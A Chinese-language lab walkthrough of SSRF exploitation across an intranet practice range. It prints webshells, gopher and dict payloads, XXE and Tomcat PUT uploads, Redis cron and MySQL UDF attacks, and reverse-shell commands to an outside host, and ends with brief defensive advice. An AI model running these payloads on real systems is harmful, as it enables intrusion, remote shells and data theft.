手把手带你用 SSRF 打穿内网
字数 1698 2025-08-05 11:39:33
SSRF漏洞利用与内网渗透实战指南
一、SSRF漏洞基础
SSRF(Server-Side Request Forgery)服务端请求伪造,是一种由攻击者构造请求,由服务端发起请求的安全漏洞。能够对外发起网络请求的地方,就可能存在SSRF漏洞。
1.1 漏洞检测方法
- 外网URL测试:尝试请求外网资源如
http://www.baidu.com/robots.txt - 内网URL测试:尝试请求内网地址如
http://127.0.0.1 - 协议测试:尝试使用不同协议(file://, dict://, gopher://等)
二、靶场环境拓扑
公网访问点: x.x.x.x:8080 (映射内网172.72.23.21:80)
内网资产:
- 172.72.23.21:80 (存在SSRF漏洞)
- 172.72.23.22:80 (代码注入)
- 172.72.23.23:80,3306 (SQL注入)
- 172.72.23.24:80 (命令执行)
- 172.72.23.25:80 (XXE)
- 172.72.23.26:8080 (Tomcat CVE-2017-12615)
- 172.72.23.27:6379 (Redis未授权)
- 172.72.23.28:6379 (Redis有认证)
- 172.72.23.29:3306 (MySQL未授权)
三、SSRF漏洞利用技术
3.1 信息收集
3.1.1 读取本地文件
file:///etc/passwd
file:///etc/hosts
file:///proc/net/arp
file:///etc/network/interfaces
3.1.2 内网端口扫描
使用dict协议探测内网端口:
dict://172.72.23.22:80
dict://172.72.23.22:3306
使用BurpSuite批量扫描:
- 设置Intruder模块
- 使用迭代器模式爆破IP和端口
- 通过响应判断端口开放情况
3.2 协议利用
3.2.1 HTTP协议
- 用于访问内网Web应用
- 可配合目录扫描工具发现隐藏路径
3.2.2 DICT协议
- 主要用于端口扫描
- 可攻击未授权的Redis服务
3.2.3 GOPHER协议
- 最强大的SSRF协议
- 可构造任意TCP数据流
- 用于攻击需要复杂交互的服务(如认证的Redis、MySQL等)
四、内网渗透实战
4.1 代码注入(172.72.23.22)
目标特征:
- 存在shell.php:
<?php system($_GET['cmd']);?>
攻击方法:
http://172.72.23.22/shell.php?cmd=id
SSRF利用:
http://x.x.x.x:8080/vuln.php?url=http://172.72.23.22/shell.php?cmd=cat%20/etc/passwd
注意:
- 空格需要编码为%20(浏览器)或%2520(BurpSuite)
4.2 SQL注入(172.72.23.23)
目标特征:
- 存在联合查询注入漏洞
- MySQL可写shell
攻击步骤:
- 通过联合查询获取数据
- 写入webshell:
SELECT 0x3C3F706870206576616C28245F4745545B315D293B203F3E INTO DUMPFILE '/var/www/html/shell.php'
SSRF利用:
gopher://172.72.23.23:3306/_%a2%00%00%01%85%a2%3f%00... (编码后的SQL语句)
4.3 命令执行(172.72.23.24)
目标特征:
- POST型命令执行
- 参数:
ip=127.0.0.1
攻击方法:
- 抓取正常POST请求
- 删除
Accept-Encoding头 - 两次URL编码整个POST数据
- 构造gopher请求
示例:
gopher://172.72.23.24:80/_POST%20%2Fcmd.php%20HTTP%2F1.1%0D%0AHost%3A%20172.72.23.24%0D%0A... (编码后的POST数据)
4.4 XXE漏洞(172.72.23.25)
目标特征:
- POST型XXE
- 可读取本地文件
攻击方法:
- 构造XXE Payload:
<?xml version="1.0"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<root>&xxe;</root>
- 两次URL编码整个POST数据
- 构造gopher请求
4.5 Tomcat CVE-2017-12615(172.72.23.26)
漏洞利用:
- 准备JSP webshell:
<%
String cmd = request.getParameter("cmd");
if(cmd != null) {
java.io.InputStream in = Runtime.getRuntime().exec(cmd).getInputStream();
int a = -1;
byte[] b = new byte[2048];
out.print("<pre>");
while((a=in.read(b))!=-1) {
out.println(new String(b));
}
out.print("</pre>");
}
%>
- 通过PUT方法上传:
PUT /shell.jsp HTTP/1.1
Host: 172.72.23.26:8080
Content-Length: 123
<jsp代码>
- SSRF利用时需二次URL编码
4.6 Redis未授权访问(172.72.23.27)
攻击步骤:
- 清空Redis数据:
dict://172.72.23.27:6379/flushall
- 设置保存路径为定时任务目录:
dict://172.72.23.27:6379/config set dir /var/spool/cron/
- 设置保存文件名:
dict://172.72.23.27:6379/config set dbfilename root
- 写入反弹shell命令:
dict://172.72.23.27:6379/set x "\n* * * * * /bin/bash -i >%26 /dev/tcp/x.x.x.x/2333 0>%261\n"
- 保存:
dict://172.72.23.27:6379/save
注意:
&需要编码为%26- 反弹shell命令中的
>也需要编码
4.7 Redis有认证(172.72.23.28)
攻击前提:
- 通过LFI漏洞获取Redis密码:
http://172.72.23.28/index.php?file=/etc/redis.conf
- 查找
requirepass字段获取密码
攻击步骤:
- 使用socat抓取Redis交互流量:
socat -v tcp-listen:4444,fork tcp-connect:127.0.0.1:6379
- 使用redis-cli连接并操作:
redis-cli -h 127.0.0.1 -p 4444
auth <password>
config set dir /var/www/html
config set dbfilename shell.php
set x "\n<?php eval($_GET[1]);?>\n"
save
- 将抓取的TCP流转换为gopher协议格式
4.8 MySQL未授权访问(172.72.23.29)
攻击步骤:
- 获取插件目录:
show variables like '%plugin%';
- 写入UDF动态链接库:
SELECT 0x7f454c4602010100000000000000... INTO DUMPFILE '/usr/lib/mysql/plugin/udf.so';
- 创建自定义函数:
CREATE FUNCTION sys_eval RETURNS STRING SONAME 'udf.so';
- 执行系统命令:
select sys_eval('echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4yMTEuNTUuMi8yMzMzIDA+JjE=|base64 -d|bash -i');
SSRF利用:
- 使用tcpdump抓取MySQL交互流量:
tcpdump -i lo port 3306 -w mysql.pcapng
- 将原始TCP流转换为gopher协议格式
五、防御建议
-
输入验证:
- 过滤特殊协议(file://, dict://, gopher://等)
- 限制访问内网IP
-
输出处理:
- 禁止返回完整响应内容
- 对错误信息进行模糊处理
-
网络配置:
- 关键服务设置认证
- 最小化网络访问权限
-
服务加固:
- Redis设置密码并限制绑定IP
- MySQL移除不必要的函数权限